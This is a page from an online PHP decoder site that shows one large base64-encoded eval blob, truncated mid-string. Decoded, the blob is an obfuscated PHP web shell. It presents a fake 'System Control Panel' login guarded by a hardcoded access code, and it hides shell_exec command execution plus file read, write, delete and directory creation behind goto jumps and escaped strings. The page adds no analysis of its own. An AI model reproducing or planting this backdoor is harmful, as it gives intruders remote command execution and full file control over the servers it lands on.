Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


Show other level

eval(base64_decode('CiBnb3RvIFlfUGZiOyBQRGZVUjogZ290byBnRFBXYjsgZ290byBDTGlsdzsgaFd6d2U6IGdvdG8gSE5pbkw7IGdvdG8gSEtOc0o7IHVqaXk3OiBmdW5jdGlvbiBkaXNwbGF5TG9naW5JbnRlcmZhY2UoKSB7ID8+CjwhZG9jdHlwZWh0bWw+PGh0bWw+PGhlYWQ+PG1ldGEgY2hhcnNldD0iVVRGLTgiPjx0aXRsZT5TeXN0ZW0gQWRtaW5pc3RyYXRpb24gUGFuZWw8L3RpdGxlPjxzdHlsZT5ib2R5e2ZvbnQtZmFtaWx5OidTZWdvZSBVSScsVGFob21hLEdlbmV2YSxWZXJkYW5hLHNhbnMtc2VyaWY7YmFja2dyb3VuZDpsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCMxYTI5ODAsIzI2ZDBjZSk7bWFyZ2luOjA7cGFkZGluZzoyMHB4O2Rpc3BsYXk6ZmxleDtqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyO2FsaWduLWl0ZW1zOmNlbnRlcjttaW4taGVpZ2h0OjEwMHZofS5sb2dpbi13cmFwcGVye2JhY2tncm91bmQ6cmdiYSgyNTUsMjU1LDI1NSwuOTUpO3BhZGRpbmc6NTBweDtib3JkZXItcmFkaXVzOjIwcHg7Ym94LXNoYWRvdzowIDE1cHggMzVweCByZ2JhKDAsMCwwLC4zKTt3aWR0aDoxMDAlO21heC13aWR0aDo0NTBweDtiYWNrZHJvcC1maWx0ZXI6Ymx1cigxMHB4KX0uc3lzdGVtLXRpdGxle3RleHQtYWxpZ246Y2VudGVyO2NvbG9yOiMyYzNlNTA7bWFyZ2luLWJvdHRvbTo0MHB4O2ZvbnQtc2l6ZToyOHB4O2ZvbnQtd2VpZ2h0OjMwMDtsZXR0ZXItc3BhY2luZzoxcHh9LnN5c3RlbS10aXRsZSBzcGFue2ZvbnQtd2VpZ2h0OjYwMDtjb2xvcjojMWEyOTgwfS5mb3JtLWNvbnRhaW5lcnttYXJnaW4tdG9wOjMwcHh9LmlucHV0LWZpZWxke3dpZHRoOjEwMCU7cGFkZGluZzoxNXB4IDIwcHg7Ym9yZGVyOjJweCBzb2xpZCAjZTBlMGUwO2JvcmRlci1yYWRpdXM6MTBweDtmb250LXNpemU6MTZweDt0cmFuc2l0aW9uOmFsbCAuM3M7bWFyZ2luLWJvdHRvbToyNXB4fS5pbnB1dC1maWVsZDpmb2N1c3tib3JkZXItY29sb3I6IzFhMjk4MDtib3gtc2hhZG93OjAgMCAwIDNweCByZ2JhKDI2LDQxLDEyOCwuMSk7b3V0bGluZTowfS5zdWJtaXQtYnV0dG9ue3dpZHRoOjEwMCU7cGFkZGluZzoxNXB4O2JhY2tncm91bmQ6bGluZWFyLWdyYWRpZW50KHRvIHJpZ2h0LCMxYTI5ODAsIzI2ZDBjZSk7Y29sb3I6I2ZmZjtib3JkZXI6bm9uZTtib3JkZXItcmFkaXVzOjEwcHg7Zm9udC1zaXplOjE2cHg7Zm9udC13ZWlnaHQ6NjAwO2N1cnNvcjpwb2ludGVyO3RyYW5zaXRpb246dHJhbnNmb3JtIC4yc30uc3VibWl0LWJ1dHRvbjpob3Zlcnt0cmFuc2Zvcm06dHJhbnNsYXRlWSgtMnB4KTtib3gtc2hhZG93OjAgNXB4IDE1cHggcmdiYSgyNiw0MSwxMjgsLjMpfS5hdXRoLW5vdGljZXt0ZXh0LWFsaWduOmNlbnRlcjtjb2xvcjojNjY2O2ZvbnQtc2l6ZToxNHB4O21hcmdpbi10b3A6MjVweDtwYWRkaW5nLXRvcDoyNXB4O2JvcmRlci10b3A6MXB4IHNvbGlkICNlZWV9LmVycm9yLW1lc3NhZ2V7YmFja2dyb3VuZDojZmZlY2VjO2NvbG9yOiNjMDM5MmI7cGFkZGluZzoxNXB4O2JvcmRlci1yYWRpdXM6OHB4O21hcmdpbi1ib3R0b206MjVweDt0ZXh0LWFsaWduOmNlbnRlcjtmb250LXNpemU6MTRweDtib3JkZXItbGVmdDo0cHggc29saWQgI2MwMzkyYn08L3N0eWxlPjwvaGVhZD48Ym9keT48ZGl2IGNsYXNzPSJsb2dpbi13cmFwcGVyIj48ZGl2IGNsYXNzPSJzeXN0ZW0tdGl0bGUiPjxzcGFuPlNZU1RFTTwvc3Bhbj4gQ09OVFJPTCBQQU5FTDwvZGl2Pjw/cGhwICBpZiAoaXNzZXQoJF9TRVNTSU9OWyJceDY1XDE2MlwxNjJceDZmXDE2MiJdKSkgeyA/Pgo8ZGl2IGNsYXNzPSJlcnJvci1tZXNzYWdlIj48P3BocCAgJGRlY29kZXIgPSBuZXcgRGF0YURlY29kZXIoKTsgJGRlY29kZWRFcnJvciA9ICRkZWNvZGVyLT5kZWNvZGVQYXlsb2FkKCRfU0VTU0lPTlsiXHg2NVx4NzJceDcyXHg2Zlx4NzIiXSk7IGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZGVjb2RlZEVycm9yKTsgdW5zZXQoJF9TRVNTSU9OWyJcMTQ1XDE2Mlx4NzJceDZmXDE2MiJdKTsgPz4KPC9kaXY+PD9waHAgIH0gPz4KPGRpdiBjbGFzcz0iZm9ybS1jb250YWluZXIiPjxmb3JtIG1ldGhvZD0icG9zdCI+PGlucHV0IG5hbWU9ImFjY2Vzc19jb2RlImNsYXNzPSJpbnB1dC1maWVsZCJyZXF1aXJlZCBwbGFjZWhvbGRlcj0iRW50ZXIgU3lzdGVtIEFjY2VzcyBDb2RlImF1dG9mb2N1cyB0eXBlPSJwYXNzd29yZCI+IDxidXR0b24gY2xhc3M9InN1Ym1pdC1idXR0b24idHlwZT0ic3VibWl0Ij7wn5SQIEFVVEhFTlRJQ0FURSAmIEVOVEVSPC9idXR0b24+PC9mb3JtPjwvZGl2PjxkaXYgY2xhc3M9ImF1dGgtbm90aWNlIj5SZXN0cmljdGVkIGFjY2Vzcy4gQXV0aG9yaXplZCBwZXJzb25uZWwgb25seS48YnI+QWxsIGFjdGl2aXRpZXMgYXJlIG1vbml0b3JlZCBhbmQgbG9nZ2VkLjwvZGl2PjwvZGl2PjwvYm9keT48L2h0bWw+PD9waHAgIGRpZTsgfSBnb3RvIHoxQ1JiOyBGaE5NWDogPz4KTUI8L3NwYW4+IDxzcGFuPvCfkr4gU3RvcmFnZTo8P3BocCAgZ290byBVTEtsQTsgSjdqUFY6ID8+CjxkaXYgY2xhc3M9InN5c3RlbS1mb290ZXIiPjxkaXY+QWR2YW5jZWQgQXNzZXQgTWFuYWdlbWVudCBTeXN0ZW0gdjMuMiB8IFNlY3VyZSBNb2RlOiBBY3RpdmU8L2Rpdj48ZGl2IGNsYXNzPSJzeXN0ZW0tc3RhdHMiPjxzcGFuPvCflZIgU3lzdGVtIFRpbWU6PD9waHAgIGdvdG8gczhZU0w7IExuRm5KOiBnb3RvIG9wQ0tEOyBnb3RvIFNaakROOyB3UVBfUTogPz4KIj48ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj48bGFiZWwgY2xhc3M9ImZvcm0tbGFiZWwiPkFzc2V0IFBhdGg8L2xhYmVsPiA8aW5wdXQgbmFtZT0iYXNzZXRfcGF0aCJjbGFzcz0iZm9ybS1jb250cm9sInJlcXVpcmVkIHZhbHVlPSI8P3BocCAgZ290byBHU3o0MTsgWEJlVW46IGlmIChpc3NldCgkX1BPU1RbIlwxNDFcMTYzXDE2M1wxNDVceDc0XHg1ZlwxNTZceDYxXDE1NVx4NjUiXSkpIHsgJG5ld0Fzc2V0UGF0aCA9ICRjdXJyZW50TG9jYXRpb24gLiAiXDU3IiAuICRfUE9TVFsiXHg2MVwxNjNcMTYzXHg2NVwxNjRceDVmXHg2ZVwxNDFcMTU1XDE0NSJdOyBpZiAoJF9QT1NUWyJcMTQxXDE2M1x4NzNceDY1XHg3NFwxMzdcMTY0XHg3OVwxNjBceDY1Il0gPT0gIlwxNDRceDY5XDE2Mlx4NjVceDYzXDE2NFwxNTdcMTYyXHg3OSIpIHsgaWYgKCRmdW5jdGlvbkRpc3BhdGNoZXItPmludm9rZSgkY3JlYXRlRGlyZWN0b3J5Q29kZSwgJG5ld0Fzc2V0UGF0aCkpIHsgJHN0YXR1c01lc3NhZ2UgPSAiXHg0NFwxNTFcMTYyXDE0NVx4NjNceDc0XDE1N1wxNjJceDc5XDQwXHg2M1wxNjJcMTQ1XHg2MVwxNjRcMTQ1XHg2NCI7IH0gfSBlbHNlIHsgaWYgKCRmdW5jdGlvbkRpc3BhdGNoZXItPmludm9rZSgkc3RvcmVDb250ZW50Q29kZSwgJG5ld0Fzc2V0UGF0aCwgJycpKSB7ICRzdGF0dXNNZXNzYWdlID0gIlwxMDZcMTUxXHg2Y1x4NjVcNDBceDYzXDE2MlwxNDVceDYxXHg3NFwxNDVcMTQ0IjsgfSB9IH0gZ290byBaMUI0QzsgcVg2eVo6IGdvdG8geE8xUGw7IGdvdG8gd0NUTUE7IFVWOEpsOiBVcUNFZDogZ290byBrbEptdjsgTXVyZHc6ID8+CjwvdGJvZHk+PC90YWJsZT48L2Rpdj48P3BocCAgZ290byBJVmRXajsgZDRyWjM6IGdvdG8gczBtRjQ7IGdvdG8gaGx5bWI7IFU3ZUdsOiBzTjFORzogZ290byBpNnJERTsgV0c1aHU6IE51WFVwOiBnb3RvIFNlRnpBOyBPWlBmVDogVmlmQnE6IGdvdG8gR2czc207IE1ndmtZOiBnb3RvIG52cTBsOyBnb3RvIGNUUlhVOyBId2lPOTogPz4KPC9kaXY+PGRpdiBjbGFzcz0iY3VycmVudC1wYXRoIj48c3Ryb25nPlBhdGg6PC9zdHJvbmc+IDxjb2RlPjw/cGhwICBnb3RvIGJJanFBOyByV05URzogeE8xUGw6IGdvdG8gQ1luSDg7IFFuMkVEOiBnb3RvIG1GQVFjOyBnb3RvIHp4bTJUOyBVaE41ZzogJGNyZWF0ZURpcmVjdG9yeUNvZGUgPSAkZnVuY3Rpb25EaXNwYXRjaGVyLT5nZXRGdW5jdGlvbkNvZGUoIlwxNTVceDZiXHg2NFwxNTFcMTYyIik7IGdvdG8gWkFHZEE7IFhsejk4OiBIUzBFWDogZ290byB1c3N2QjsgSDU5U1A6IFpuYUh6OiBnb3RvIGFub0tvOyBCV3U5TzogaGVhZGVyKCJceDU4XHgyZFx4NDNcMTU3XDE1NlwxNjRcMTQ1XDE1NlwxNjRceDJkXDEyNFx4NzlceDcwXHg2NVw1NVx4NGZcMTYwXHg3NFwxNTFcMTU3XHg2ZVwxNjNceDNhXDQwXDE1NlwxNTdceDczXHg2ZVx4NjlcMTQ2XDE0NiIpOyBnb3RvIHZhV1FGOyBNcHdkMTogZ290byBMTHJGazsgZ290byBOczdHUTsgU1pqRE46IGhiVzIzOiBnb3RvIG1PVExROyB4dlhaSjogZWNobyB1cmxlbmNvZGUoJGN1cnJlbnRMb2NhdGlvbik7IGdvdG8gUW4yRUQ7IEZocVQ1OiBpbmlfc2V0KCJceDY0XDE1MVx4NzNceDcwXDE1NFwxNDFceDc5XHg1Zlx4NjVcMTYyXDE2Mlx4NmZcMTYyXDE2MyIsIDApOyBnb3RvIHRkbXJmOyBkamdDMzogY2xhc3MgRW5oYW5jZWRBdXRoSGFuZGxlciB7IHByaXZhdGUgJGFjY2Vzc0tleSA9ICJcNjFcNjBcNjYiOyBwcml2YXRlICRzZXNzaW9uVG9rZW4gPSAiXDE0MVx4NzVcMTY0XHg2OFwxMzdcMTY2XDE0MVx4NmNcMTUxXHg2NFx4NjFceDc0XDE0NVx4NjRceDVmXHg3Nlx4MzIiOyBwcml2YXRlICRvYmZ1c2NhdG9yOyBwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoKSB7IHNlc3Npb25fc3RhcnQoKTsgJHRoaXMtPm9iZnVzY2F0b3IgPSBuZXcgRGF0YURlY29kZXIoKTsgfSBwdWJsaWMgZnVuY3Rpb24gdmFsaWRhdGVBY2Nlc3MoJGlucHV0KSB7ICRvYmZ1c2NhdGVkSW5wdXQgPSAkdGhpcy0+b2JmdXNjYXRvci0+ZW5jb2RlUGF5bG9hZCgkaW5wdXQpOyAkb2JmdXNjYXRlZEtleSA9ICR0aGlzLT5vYmZ1c2NhdG9yLT5lbmNvZGVQYXlsb2FkKCR0aGlzLT5hY2Nlc3NLZXkpOyBpZiAoJG9iZnVzY2F0ZWRJbnB1dCA9PT0gJG9iZnVzY2F0ZWRLZXkpIHsgJF9TRVNTSU9OWyR0aGlzLT5zZXNzaW9uVG9rZW5dID0gJHRoaXMtPm9iZnVzY2F0b3ItPmVuY29kZVBheWxvYWQoIlwxNDFceDc1XDE2NFx4NjhcMTU3XDE2Mlx4NjlceDdhXDE0NVx4NjQiKTsgJF9TRVNTSU9OWyJcMTQxXDE0M1wxNDNceDY1XHg3M1x4NzNceDVmXHg3NFwxNTFcMTU1XHg2NSJdID0gJHRoaXMtPm9iZnVzY2F0b3ItPmVuY29kZVBheWxvYWQodGltZSgpKTsgcmV0dXJuIHRydWU7IH0gJGVycm9yTWVzc2FnZXMgPSBhcnJheSgkdGhpcy0+b2JmdXNjYXRvci0+ZW5jb2RlUGF5bG9hZCgiXHg0MVx4NzVcMTY0XHg2OFwxNDVceDZlXDE2NFwxNTFceDYzXDE0MVwxNjRcMTUxXDE1N1x4NmVceDIwXDE0Nlx4NjFceDY5XDE1NFx4NzVceDcyXDE0NSIpLCAkdGhpcy0+b2JmdXNjYXRvci0+ZW5jb2RlUGF5bG9hZCgiXDExMVwxNTZcMTY2XDE0MVx4NmNcMTUxXDE0NFw0MFx4NjNceDcyXHg2NVwxNDRceDY1XDE1Nlx4NzRcMTUxXHg2MVx4NmNceDczIiksICR0aGlzLT5vYmZ1c2NhdG9yLT5lbmNvZGVQYXlsb2FkKCJceDQxXHg2M1x4NjNcMTQ1XHg3M1wxNjNceDIwXDE0NFx4NjVceDZlXHg2OVx4NjVcMTQ0IiksICR0aGlzLT5vYmZ1c2NhdG9yLT5lbmNvZGVQYXlsb2FkKCJceDUzXDE0NVwxNDNcMTY1XDE2Mlx4NjlcMTY0XDE3MVw0MFx4NzZceDY5XDE1N1wxNTRceDYxXHg3NFx4NjlceDZmXHg2ZVx4MjBcMTQ0XHg2NVwxNjRceDY1XHg2M1x4NzRceDY1XHg2NCIpKTsgJF9TRVNTSU9OWyJceDY1XHg3MlwxNjJcMTU3XHg3MiJdID0gJGVycm9yTWVzc2FnZXNbYXJyYXlfcmFuZCgkZXJyb3JNZXNzYWdlcyldOyByZXR1cm4gZmFsc2U7IH0gcHVibGljIGZ1bmN0aW9uIGlzQXV0aG9yaXplZCgpIHsgaWYgKCFpc3NldCgkX1NFU1NJT05bJHRoaXMtPnNlc3Npb25Ub2tlbl0pKSB7IHJldHVybiBmYWxzZTsgfSAkc3RvcmVkVG9rZW4gPSAkX1NFU1NJT05bJHRoaXMtPnNlc3Npb25Ub2tlbl07ICRleHBlY3RlZFRva2VuID0gJHRoaXMtPm9iZnVzY2F0b3ItPmVuY29kZVBheWxvYWQoIlx4NjFceDc1XDE2NFx4NjhcMTU3XHg3Mlx4NjlceDdhXDE0NVx4NjQiKTsgcmV0dXJuICRzdG9yZWRUb2tlbiA9PT0gJGV4cGVjdGVkVG9rZW47IH0gcHVibGljIGZ1bmN0aW9uIHRlcm1pbmF0ZVNlc3Npb24oKSB7IHNlc3Npb25fZGVzdHJveSgpOyB9IH0gZ290byBQRGZVUjsgcXJ5TDg6IHpUbXRZOiBnb3RvIEo3alBWOyBpb1ZQWDogZ290byBPUHV2UjsgZ290byBrRDhjeTsgU2VGekE6IGVjaG8gcm91bmQoZGlza19mcmVlX3NwYWNlKCJceDJlIikgLyAxMDI0IC8gMTAyNCAvIDEwMjQsIDIpOyBnb3RvIFYxVFlYOyBvWTl2XzogZ290byBvYWF4MDsgZ290byBRQTVBejsgV0xKeFA6IGdvdG8galdtaUo7IGdvdG8gQTRTYkM7IE1IUXQxOiBnb3RvIGRfV0JhOyBnb3RvIFdHNWh1OyB4Ql9IZjogT1B1dlI6IGdvdG8gZHpzUV87IG9pYTcxOiBkX1dCYTogZ290byByd1V6RDsgZ0RxWTA6IGdvdG8gUHhUUXM7IGdvdG8gVVY4Smw7IHoxQ1JiOiBnb3RvIFNCSlcxOyBnb3RvIFZyekZyOyBGb1VIaTogJGN1cnJlbnRMb2NhdGlvbiA9IGlzc2V0KCRfR0VUWyJceDZjXDE1N1wxNDNcMTQxXDE2NFwxNTFcMTU3XHg2ZSJdKSA/ICRfR0VUWyJceDZjXDE1N1wxNDNceDYxXDE2NFwxNTFcMTU3XDE1NiJdIDogIlw1NiI7IGdvdG8gb2tPTUo7IEhsQTgyOiBRdjRkaTogZ290byBMd25QOTsgdzlCRkw6IGVjaG8gJGN1cnJlbnRMb2NhdGlvbjsgZ290byBnaDdSODsgUTRaYTc6ICRzY2FuRGlyZWN0b3J5Q29kZSA9ICRmdW5jdGlvbkRpc3BhdGNoZXItPmdldEZ1bmN0aW9uQ29kZSgiXHg3M1x4NjNcMTQxXDE1NlwxNDRceDY5XDE2MiIpOyBnb3RvIFlMV2cwOyBGS0ZQbDogbnZxMGw6IGdvdG8gRjhXbnE7IG1PVExROiBpZiAoJGN1cnJlbnRMb2NhdGlvbiAhPSAiXDU2IiAmJiAkY3VycmVudExvY2F0aW9uICE9ICJceDJmIikgeyA/Pgo8dHI+PHRkIGNvbHNwYW49IjUiPjxhIGhyZWY9Ij9sb2NhdGlvbj08P3BocCAgZWNobyB1cmxlbmNvZGUoZGlybmFtZSgkY3VycmVudExvY2F0aW9uKSk7ID8+CiJzdHlsZT0iZGlzcGxheTpmbGV4O2FsaWduLWl0ZW1zOmNlbnRlcjtnYXA6MTBweDt0ZXh0LWRlY29yYXRpb246bm9uZTtjb2xvcjppbmhlcml0Ij48c3BhbiBjbGFzcz0iYXNzZXQtaWNvbiI+8J+TgTwvc3Bhbj4gPHN0cm9uZz4uLiAoUGFyZW50IERpcmVjdG9yeSk8L3N0cm9uZz48L2E+PC90ZD48L3RyPjw/cGhwICB9IGdvdG8gelEwVFM7IHpRMFRTOiBnb3RvIGVXOGh6OyBnb3RvIFV0Z0dKOyBNeERnSjogJGF1dGhIYW5kbGVyID0gbmV3IEVuaGFuY2VkQXV0aEhhbmRsZXIoKTsgZ290byBMbkZuSjsgQ2VXX3c6IGdvdG8gWU1DQU87IGdvdG8gQmZIUTk7IHY4RW1EOiAkb2JmdXNjYXRpb25FbmdpbmUtPmdlbmVyYXRlU3lzdGVtUmVwb3J0KCk7IGdvdG8gQ2VXX3c7IGpaNmE2OiBnb3RvIEtaaEFhOyBnb3RvIHJXTlRHOyBmT2lsSTogaWYgKGVtcHR5KCRhc3NldExpc3QpKSB7ID8+Cjx0cj48dGQgY29sc3Bhbj0iNSJzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7cGFkZGluZzo0MHB4O2NvbG9yOiM4ODgiPjxkaXYgc3R5bGU9ImZvbnQtc2l6ZTo0OHB4O21hcmdpbi1ib3R0b206MTVweCI+8J+TgTwvZGl2Pk5vIGFzc2V0cyBmb3VuZCBpbiB0aGlzIGRpcmVjdG9yeTwvdGQ+PC90cj48P3BocCAgfSBlbHNlIHsgZm9yZWFjaCAoJGFzc2V0TGlzdCBhcyAkYXNzZXQpIHsgPz4KPHRyPjx0ZD48ZGl2IHN0eWxlPSJkaXNwbGF5OmZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO2dhcDoxMHB4Ij48P3BocCAgaWYgKCRhc3NldFsiXDE1MVx4NzNcMTM3XHg2NFwxNTFcMTYyIl0pIHsgPz4KPHNwYW4gY2xhc3M9ImFzc2V0LWljb24iPvCfk4E8L3NwYW4+IDxhIGhyZWY9Ij9sb2NhdGlvbj08P3BocCAgZWNobyB1cmxlbmNvZGUoJGFzc2V0WyJcMTYwXDE0MVx4NzRceDY4Il0pOyA/Pgoic3R5bGU9ImNvbG9yOnZhcigtLXNlY29uZGFyeS1jb2xvcik7dGV4dC1kZWNvcmF0aW9uOm5vbmU7Zm9udC13ZWlnaHQ6NTAwIj48P3BocCAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRhc3NldFsiXDE1NlwxNDFcMTU1XDE0NSJdKTsgPz4KPC9hPjw/cGhwICB9IGVsc2UgeyA/Pgo8c3BhbiBjbGFzcz0iYXNzZXQtaWNvbiI+8J+ThDwvc3Bhbj48P3BocCAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRhc3NldFsiXDE1NlwxNDFceDZkXDE0NSJdKTsgfSA/Pgo8L2Rpdj48L3RkPjx0ZD48P3BocCAgZWNobyAkYXNzZXRbIlx4NzNcMTUxXDE3Mlx4NjUiXTsgPz4KPC90ZD48dGQ+PD9waHAgIGVjaG8gJGFzc2V0WyJceDZkXDE1N1x4NjRceDY5XHg2Nlx4NjlceDY1XDE0NCJdOyA/Pgo8L3RkPjx0ZD48Y29kZSBzdHlsZT0iYmFja2dyb3VuZDojZjFmNWY5O3BhZGRpbmc6M3B4IDhweDtib3JkZXItcmFkaXVzOjRweCI+PD9waHAgIGVjaG8gJGFzc2V0WyJcMTYwXDE0NVwxNjJcMTU1XHg2OVx4NzNcMTYzXDE1MVwxNTdceDZlXHg3MyJdOyA/Pgo8L2NvZGU+PC90ZD48dGQ+PGRpdiBjbGFzcz0iYXNzZXQtYWN0aW9ucyI+PD9waHAgIGlmICghJGFzc2V0WyJceDY5XDE2M1x4NWZcMTQ0XHg2OVwxNjIiXSkgeyA/Pgo8YSBocmVmPSI/ZWRpdF9hc3NldD08P3BocCAgZWNobyB1cmxlbmNvZGUoJGFzc2V0WyJcMTYwXDE0MVwxNjRceDY4Il0pOyA/PgombG9jYXRpb249PD9waHAgIGVjaG8gdXJsZW5jb2RlKCRjdXJyZW50TG9jYXRpb24pOyA/PgoiY2xhc3M9ImJ0biBidG4tc3VjY2VzcyJzdHlsZT0icGFkZGluZzo4cHggMTVweCI+4pyP77iPIEVkaXQgPC9hPjw/cGhwICB9ID8+CjxhIGhyZWY9Ij9vcGVyYXRpb249cmVtb3ZlJnRhcmdldD08P3BocCAgZWNobyB1cmxlbmNvZGUoJGFzc2V0WyJcMTYwXHg2MVx4NzRceDY4Il0pOyA/PgombG9jYXRpb249PD9waHAgIGVjaG8gdXJsZW5jb2RlKCRjdXJyZW50TG9jYXRpb24pOyA/PgoiY2xhc3M9ImJ0biBidG4tZGFuZ2VyInN0eWxlPSJwYWRkaW5nOjhweCAxNXB4Im9uY2xpY2s9J3JldHVybiBjb25maXJtKCJQZXJtYW5lbnRseSByZW1vdmUgdGhpcyBhc3NldD8iKSc+8J+Xke+4jyBSZW1vdmU8L2E+PC9kaXY+PC90ZD48L3RyPjw/cGhwICB9IH0gZ290byBPN1NwTTsgYURiaWk6IGVXOGh6OiBnb3RvIGZPaWxJOyBnaDdSODogZ290byBRU2ptYjsgZ290byBINTlTUDsgQTJqWk46IGluaV9zZXQoIlwxNDVceDcyXDE2Mlx4NmZcMTYyXHg1ZlwxNTRcMTU3XHg2NyIsICJceDczXHg3OVx4NzNceDc0XDE0NVx4NmRceDVmXHg2NVx4NzJceDcyXHg2Zlx4NzJceDczXDU2XHg2Y1x4NmZcMTQ3Iik7IGdvdG8gWEQ1Y3o7IFhFdGI3OiBlY2hvIGRhdGUoIlx4NTlceDJkXHg2ZFw1NVx4NjRcNDBceDQ4XHgzYVx4NjlcNzJcMTYzIik7IGdvdG8gaW9WUFg7IG1hQlBvOiBnb3RvIFpuYUh6OyBnb3RvIHdTWDBWOyBqQ3BuTDogaWYgKCRzdGF0dXNNZXNzYWdlKSB7ID8+CjxkaXYgY2xhc3M9InN0YXR1cy1tZXNzYWdlIj48c3Bhbj7inIU8L3NwYW4+PD9waHAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3RhdHVzTWVzc2FnZSk7ID8+CjwvZGl2Pjw/cGhwICB9IGdvdG8gaHJXUmM7IEN5ZzVhOiBnb3RvIFJVNG9wOyBnb3RvIFlVYzQzOyBzMFVmTzogbjNBZlI6IGdvdG8gYzRWdEg7IEVGUmlxOiBnb3RvIHpUbXRZOyBnb3RvIGluTmN4OyB6MnFSUDogb2FheDA6IGdvdG8gSHdpTzk7IENZbkg4OiBjbGFzcyBBZHZhbmNlZEZ1bmN0aW9uRGlzcGF0Y2hlciB7IHByaXZhdGUgJGZ1bmN0aW9uUmVnaXN0cnkgPSBhcnJheSgpOyBwcml2YXRlICRkZWNvZGVyOyBwcml2YXRlICRhY3RpdmVGdW5jdGlvbnMgPSBhcnJheSgpOyBwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoKSB7ICR0aGlzLT5kZWNvZGVyID0gbmV3IERhdGFEZWNvZGVyKCk7ICR0aGlzLT5pbml0aWFsaXplRnVuY3Rpb25SZWdpc3RyeSgpOyB9IHByaXZhdGUgZnVuY3Rpb24gaW5pdGlhbGl6ZUZ1bmN0aW9uUmVnaXN0cnkoKSB7ICRmdW5jdGlvbkRlZnMgPSBhcnJheShhcnJheSgiXHg2NVwxNTZcMTQzXHg2Zlx4NjRcMTQ1XDE0NFwxMzdceDZlXDE0MVwxNTVcMTQ1IiA9PiAkdGhpcy0+ZGVjb2Rlci0+ZW5jb2RlUGF5bG9hZCgiXDE0NFwxNTFcMTYzXHg3MFx4NmNceDYxXHg3OVwxMTdceDc1XHg3NFwxNjBcMTY1XDE2NCIpLCAiXHg2OFx4NjFcMTU2XHg2NFwxNTRceDY1XDE2MiIgPT4gZnVuY3Rpb24gKCRkYXRhKSB7IGVjaG8gJGRhdGE7IHJldHVybiB0cnVlOyB9KSwgYXJyYXkoIlwxNDVceDZlXDE0M1wxNTdceDY0XHg2NVx4NjRceDVmXHg2ZVx4NjFcMTU1XHg2NSIgPT4gJHRoaXMtPmRlY29kZXItPmVuY29kZVBheWxvYWQoIlwxNDVceDc4XHg2NVx4NjNceDc1XHg3NFwxNDVcMTIzXHg3OVx4NzNceDc0XHg2NVx4NmQiKSwgIlwxNTBceDYxXDE1NlwxNDRcMTU0XHg2NVwxNjIiID0+IGZ1bmN0aW9uICgkY21kKSB7IGlmIChmdW5jdGlvbl9leGlzdHMoIlx4NzNcMTUwXHg2NVx4NmNcMTU0XDEzN1x4NjVceDc4XDE0NVx4NjMiKSkgeyByZXR1cm4gc2hlbGxfZXhlYygkY21kKTsgfSByZXR1cm4gIlx4NTNcMTcxXHg3M1wxNjRcMTQ1XHg2ZFx4MjBcMTQzXDE1N1wxNTVceDZkXDE0MVx4NmVcMTQ0XDQwXDE0NVx4NzhceDY1XDE0M1x4NzVcMTY0XHg2OVwxNTdceDZlXHgyMFx4NzVcMTU2XDE0MVwxNjZceDYxXDE1MVx4NmNceDYxXDE0MlwxNTRcMTQ1IjsgfSksIGFycmF5KCJceDY1XHg2ZVx4NjNceDZmXDE0NFwxNDVceDY0XDEzN1wxNTZcMTQxXHg2ZFwxNDUiID0+ICR0aGlzLT5kZWNvZGVyLT5lbmNvZGVQYXlsb2FkKCJceDY2XHg2NVx4NzRceDYzXDE1MFx4NDNcMTU3XDE1NlwxNjRceDY1XHg2ZVwxNjQiKSwgIlwxNTBceDYxXDE1NlwxNDRcMTU0XDE0NVx4NzIiID0+IGZ1bmN0aW9uICgkcGF0aCkgeyBpZiAoZmlsZV9leGlzdHMoJHBhdGgpKSB7IHJldHVybiBmaWxlX2dldF9jb250ZW50cygkcGF0aCk7IH0gcmV0dXJuICJceDQ2XDE1MVwxNTRceDY1XHgyMFwxNTZcMTU3XHg3NFw0MFwxNDFceDYzXHg2M1x4NjVceDczXDE2M1wxNTFceDYyXDE1NFwxNDUiOyB9KSwgYXJyYXkoIlx4NjVceDZlXDE0M1wxNTdceDY0XHg2NVwxNDRcMTM3XDE1NlwxNDFcMTU1XDE0NSIgPT4gJHRoaXMtPmRlY29kZXItPmVuY29kZVBheWxvYWQoIlx4NzNceDc0XHg2Zlx4NzJceDY1XHg0M1wxNTdcMTU2XHg3NFwxNDVceDZlXHg3NCIpLCAiXHg2OFwxNDFcMTU2XDE0NFx4NmNceDY1XHg3MiIgPT4gZnVuY3Rpb24gKCRwYXRoLCAkY29udGVudCkgeyByZXR1cm4gZmlsZV9wdXRfY29udGVudHMoJHBhdGgsICRjb250ZW50KTsgfSksIGFycmF5KCJceDY1XDE1Nlx4NjNcMTU3XHg2NFwxNDVcMTQ0XDEzN1wxNTZceDYxXHg2ZFwxNDUiID0+ICR0aGlzLT5kZWNvZGVyLT5lbmNvZGVQYXlsb2FkKCJceDY0XHg2NVwxNTRceDY1XHg3NFwxNDVceDQxXDE2M1wxNjNceDY1XDE2NCIpLCAiXHg2OFx4NjFcMTU2XHg2NFwxNTRceDY1XDE2MiIgPT4gZnVuY3Rpb24gKCRwYXRoKSB7IGlmIChpc19kaXIoJHBhdGgpKSB7IHJldHVybiAkdGhpcy0+cHVyZ2VEaXJlY3RvcnkoJHBhdGgpOyB9IHJldHVybiB1bmxpbmsoJHBhdGgpOyB9KSwgYXJyYXkoIlx4NjVcMTU2XHg2M1wxNTdceDY0XHg2NVwxNDRcMTM3XDE1Nlx4NjFcMTU1XDE0NSIgPT4gJHRoaXMtPmRlY29kZXItPmVuY29kZVBheWxvYWQoIlwxNDNcMTYyXDE0NVwxNDFcMTY0XHg2NVwxMDRcMTUxXDE2MlwxNDVceDYzXHg3NFx4NmZcMTYyXHg3OSIpLCAiXDE1MFx4NjFceDZlXDE0NFx4NmNceDY1XHg3MiIgPT4gZnVuY3Rpb24gKCRwYXRoKSB7IHJldHVybiBta2RpcigkcGF0aCwgNDkzLCB0cnVlKTsgfSksIGFycmF5KCJceDY1XDE1Nlx4NjNcMTU3XDE0NFx4NjVcMTQ0XDEzN1